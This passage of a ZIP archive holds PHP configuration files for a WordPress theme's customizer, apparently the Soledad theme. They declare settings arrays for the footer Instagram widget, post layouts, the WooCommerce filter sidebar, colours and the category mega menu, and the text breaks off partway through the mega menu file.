PK     0w\zm    E  customizer/config/sections/penci_section_footer_instagram_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Display Footer Instagram Widget Title Overlay Images', 'soledad' ),
	'id'       => 'penci_footer_insta_title_overlay',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Instagram Icon on Footer Instagram', 'soledad' ),
	'id'       => 'penci_footer_insta_hide_icon',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_footer_insta_title_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
	'default'     => '14',
);
$options[] = array(
	'label'    => __( 'Font Size for Widget Title', 'soledad' ),
	'id'       => 'penci_footer_insta_title',
	'type'     => 'soledad-fw-size',
	'default'  => '16',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_footer_insta_title',
		'mobile'  => 'penci_footer_insta_title_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '16',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);

return $options;
PK     0w\>3    E  customizer/config/sections/penci_section_standard_classic_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Post Meta Overlay Featured Image', 'soledad' ),
	'description' => __( 'This option just apply for Standard Layout Only', 'soledad' ),
	'id'          => 'penci_standard_meta_overlay',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Thumbnail', 'soledad' ),
	'id'       => 'penci_standard_thumbnail',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Autoplay for Slider on Posts Format Gallery', 'soledad' ),
	'id'       => 'penci_standard_disable_autoplay_gallery',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Make Featured Image Auto Crop', 'soledad' ),
	'id'       => 'penci_standard_thumb_crop',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Uppercase in Post Categories', 'soledad' ),
	'id'       => 'penci_standard_on_uppercase_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase in Post Title', 'soledad' ),
	'id'       => 'penci_standard_off_uppercase_title',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Post Title HTML Heading Tag', 'soledad' ),
	'id'       => 'penci_standard_title_tag',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''   => esc_html__( 'Default', 'soledad' ),
		'h1' => esc_html__( 'H1', 'soledad' ),
		'h2' => esc_html__( 'H2', 'soledad' ),
		'h3' => esc_html__( 'H3', 'soledad' ),
		'h4' => esc_html__( 'H4', 'soledad' ),
		'h5' => esc_html__( 'H5', 'soledad' ),
		'h6' => esc_html__( 'H6', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Post Sub Title', 'soledad' ),
	'id'       => 'penci_standard_show_sub_title',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Share Box', 'soledad' ),
	'id'       => 'penci_standard_share_box',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Category', 'soledad' ),
	'id'       => 'penci_standard_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Move Post Categories into Post Meta', 'soledad' ),
	'description' => __( 'This feature is only supported on category, tag, and archive pages.', 'soledad' ),
	'id'          => 'penci_standard_move_cat_meta',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Author', 'soledad' ),
	'id'       => 'penci_standard_author',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Reading Time', 'soledad' ),
	'id'       => 'penci_standard_readingtime',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date', 'soledad' ),
	'id'       => 'penci_standard_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Comment Count', 'soledad' ),
	'id'       => 'penci_standard_comment',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Views Count', 'soledad' ),
	'id'       => 'penci_standard_viewcount',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Line Above Post Excerpt', 'soledad' ),
	'id'       => 'penci_standard_remove_line',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Display Post Excerpt Instead of Full Content', 'soledad' ),
	'id'       => 'penci_standard_auto_excerpt',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Hover Effect on "Continue Reading" Button', 'soledad' ),
	'id'       => 'penci_standard_effect_button',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Make "Continue Reading" is A Button', 'soledad' ),
	'id'       => 'penci_standard_continue_reading_button',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '30',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Excerpt Length', 'soledad' ),
	'id'       => 'penci_standard_excerpt_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_standard_excerpt_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '30',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Maxium Excerpt Lines', 'soledad' ),
	'id'       => 'penci_standard_excerpt_line',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_standard_excerpt_line',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Header Alignment', 'soledad' ),
	'id'       => 'penci_stahea_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''       => esc_html__( 'Default', 'soledad' ),
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Post Excerpt Alignment', 'soledad' ),
	'id'       => 'penci_staex_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => esc_html__( 'Default', 'soledad' ),
		'left'    => esc_html__( 'Left', 'soledad' ),
		'center'  => esc_html__( 'Center', 'soledad' ),
		'right'   => esc_html__( 'Right', 'soledad' ),
		'justify' => esc_html__( 'Justify', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( '"Continue Reading" Button Alignment', 'soledad' ),
	'id'       => 'penci_stacoti_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''       => esc_html__( 'Default', 'soledad' ),
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' ),
	)
);

return $options;
PK     0w\    E  customizer/config/sections/pencidesign_woo_filter_sidebar_section.phpnu [        <?php
$options = [];
/*Filter Sidebar*/
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_enable',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Slidebar Filter ?', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woo_fw_panel_pst',
	'default'  => 'side-right',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Slidebar Filter Position', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'side-right' => __('Side Right','soledad' ),
		'side-left'  => __('Side Left','soledad' ),
	)
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_margin',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Space Between Widgets', 'soledad' ),
	'ids'      => array(
		'desktop' => 'pencidesign_woo_filter_widget_margin',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_heading_lowcase',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase Widget Heading', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_heading_size',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Widget Heading Text Size', 'soledad' ),
	'ids'      => array(
		'desktop' => 'pencidesign_woo_filter_widget_heading_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),

);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_heading_style',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sidebar Widget Heading Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''                  => __('Default','soledad' ),
		'style-1'           => __('Style 1','soledad' ),
		'style-2'           => __('Style 2','soledad' ),
		'style-3'           => __('Style 3','soledad' ),
		'style-4'           => __('Style 4','soledad' ),
		'style-5'           => __('Style 5','soledad' ),
		'style-6'           => __('Style 6 - Only Text','soledad' ),
		'style-7'           => __('Style 7','soledad' ),
		'style-9'           => __('Style 8','soledad' ),
		'style-8'           => __('Style 9 - Custom Background Image','soledad' ),
		'style-10'          => __('Style 10','soledad' ),
		'style-11'          => __('Style 11','soledad' ),
		'style-12'          => __('Style 12','soledad' ),
		'style-13'          => __('Style 13','soledad' ),
		'style-14'          => __('Style 14','soledad' ),
		'style-15'          => __('Style 15','soledad' ),
		'style-16'          => __('Style 16','soledad' ),
		'style-2 style-17'  => __('Style 17','soledad' ),
		'style-18'          => __('Style 18','soledad' ),
		'style-18 style-19' => __('Style 19','soledad' ),
		'style-18 style-20' => __('Style 20','soledad' ),
		'style-21'          => __( 'Style 21', 'soledad' ),
		'style-22'          => __( 'Style 22', 'soledad' ),
		'style-23'          => __( 'Style 23', 'soledad' ),
		'style-24'          => __( 'Style 24', 'soledad' ),
		'style-25'          => __( 'Style 25', 'soledad' ),
		'style-26'          => __( 'Style 26', 'soledad' ),
		'style-27'          => __( 'Style 27', 'soledad' ),
		'style-28'          => __( 'Style 28', 'soledad' ),
	)
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_heading_image_9',
	'default'  => '',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
	'label'    => __( 'Custom Background Image for Style 9', 'soledad' ),
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_heading9_repeat',
	'default'  => 'no-repeat',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Repeat for Style 9', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'no-repeat' => __('No Repeat','soledad' ),
		'repeat'    => __('Repeat','soledad' ),
	)
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_heading_align',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sidebar Widget Heading Align', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''               => __('Default','soledad' ),
		'pcalign-center' => __('Center','soledad' ),
		'pcalign-left'   => __('Left','soledad' ),
		'pcalign-right'  => __('Right','soledad' ),
	)
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_remove_border_outer',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Outer on Widget Heading', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_remove_arrow_down',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Arrow Down on Widget Heading', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);

return $options;
PK     0w\SM(  (  B  customizer/config/sections/penci_section_layout_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Standard & Classic', 'soledad' ),
	'description'=>__('All options here apply for Standard Layout, Classic Layout and 1st Posts of 1st Standard & 1st Classic Layout.','soledad'),
	'id'          => 'penci_standar_classic_heading_color',
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Categories Color', 'soledad' ),
	'id'       => 'penci_standard_categories_action_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'id'       => 'penci_standard_title_post_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Hover Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'id'       => 'penci_standard_title_post_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'id'       => 'penci_standard_meta_post_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Author Name Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'id'       => 'penci_standard_author_post_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( '"Continue Reading" Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'id'       => 'penci_standard_readmore_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( '"Continue Reading" Background Color', 'soledad' ),
	'id'       => 'penci_standard_readmore_bg',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Icons Color', 'soledad' ),
	'id'       => 'penci_standard_share_icon_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Icons Hover Color', 'soledad' ),
	'id'       => 'penci_standard_share_icon_hover_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_standard_accent_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Other Layouts', 'soledad' ),
	'id'       => 'penci_other_layouts_heading_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Categories Accent Color', 'soledad' ),
	'id'       => 'penci_masonry_categories_accent_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Color', 'soledad' ),
	'id'       => 'penci_masonry_title_post_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Hover Color', 'soledad' ),
	'id'       => 'penci_masonry_title_post_hover_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_masonry_meta_color',
	'type'     => 'soledad-fw-color',

);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Author Name & Comment Count Color', 'soledad' ),
	'id'       => 'penci_masonry_author_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( '"Read More" Link/Button Color', 'soledad' ),
	'id'       => 'penci_masonry_readmore_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( '"Read More" Button Background Color', 'soledad' ),
	'id'       => 'penci_masonry_readmore_bg',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Icons Color', 'soledad' ),
	'id'       => 'penci_masonry_box_icon',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Icons Hover Color', 'soledad' ),
	'id'       => 'penci_masonry_box_icon_hover',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Icons Color on Featured Boxed Layout', 'soledad' ),
	'id'       => 'penci_masonry_box_ficon',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Icons Hover Color on Featured Boxed Layout', 'soledad' ),
	'id'       => 'penci_masonry_box_ficon_hover',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Background Color on Featured Boxed Layout', 'soledad' ),
	'id'       => 'penci_masonry_box_icon_bg',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_masonry_accent_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Overlay Background Color on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_overlay_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '0.3',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Overlay Background Opacity on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_overlay_opacity',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'default'  => '0.7',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Overlay Background Hover Opacity on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_overlay_hover_opacity',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Categories Color on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_categories_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Color on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_title_post_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Hover Color on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_title_post_hover_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Meta Color on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_meta_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Accent Color on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_accent_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Color on Overlay Layout', 'soledad' ),
	'id'       => 'penci_overlay_title_post_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Hover Color on Overlay Layout', 'soledad' ),
	'id'       => 'penci_overlay_title_post_hover_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Categories Post Color on Overlay Layout', 'soledad' ),
	'id'       => 'penci_overlay_cat_post_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Categories Post Hover Color on Overlay Layout', 'soledad' ),
	'id'       => 'penci_overlay_cat_hover_post_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Author Color on Overlay Layout', 'soledad' ),
	'id'       => 'penci_overlay_author_post_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Grid Boxed 3 - Background Color', 'soledad' ),
	'id'       => 'penci_grid3_bg_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Grid Boxed 4 - Background Color', 'soledad' ),
	'id'       => 'penci_grid4_bg_color',
	'type'     => 'soledad-fw-color',
);

return $options;
PK     0w\!PIs  s  P  customizer/config/sections/pencidesign_logo_header_category_megamenu_section.phpnu [        <?php
$options   = array();
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Custom Border Radius for Images on Category Mega Menu', 'soledad' ),
	'id'          => 'penci_megamenu_border_radius',
	'type'        => 'soledad-fw-text',
	'description' => __( 'You can use pixel or percent. E.g:  <strong>10px</strong>  or  <strong>10%</strong>. If you want to disable border radius for it - fill 0', 'soledad' ),
);
$options[] = array(
	'default'  => 'horizontal',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Featured Images Type for Category Mega Menu', 'soledad' ),
	'id'       => 'penci_mega_featured_image_size',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
		'square'     => esc_html__( 'Square Size', 'soledad' ),
		'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
		'custom'     => esc_html__( 'Custom', 'soledad' ),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'type'        => 'soledad-fw-text',
	'label'       => __( 'Custom Aspect Ratio for Featured Images Type for Category Mega Menu', 'soledad' ),
	'id'          => 'penci_mega_featured_image_ratio',
	'description' => __( 'The aspect ratio of an element describes the proportional relationship between its width and its height. E.g: <strong>3:2</strong>. Default is 3:2 . This option apply  for <strong>Featured Images Type for Category Mega Menu is Custom</strong>', 'soledad' ),
);
$options[] = array(
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Use AJAX Loading for Category Mega Menus', 'soledad' ),
	'id'       => 'penci_megamenu_ajax_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide "All" tab on Category Mega Menu', 'soledad' ),
	'id'       => 'penci_topbar_mega_hide_alltab',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '8',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Words Length for Post Titles on Category Mega Menu', 'soledad' ),
	'id'       => 'penci_megamenu_title_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_megamenu_title_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '8',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Post Format Icons on Category Mega Menu', 'soledad' ),
	'id'       => 'penci_topbar_mega_icons',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Category On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_topbar_mega_category',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_topbar_mega_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase Post Titles On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_off_uppercase_cat_mega',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Child Categories On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_font_size_child_cat_mega',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_child_cat_mega',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Category Name On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_font_size_cat_mega',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_cat_mega',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '10',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Titles On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_font_size_title_cat_mega',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_title_cat_mega',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Date On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_font_size_date_mega',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_date_mega',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
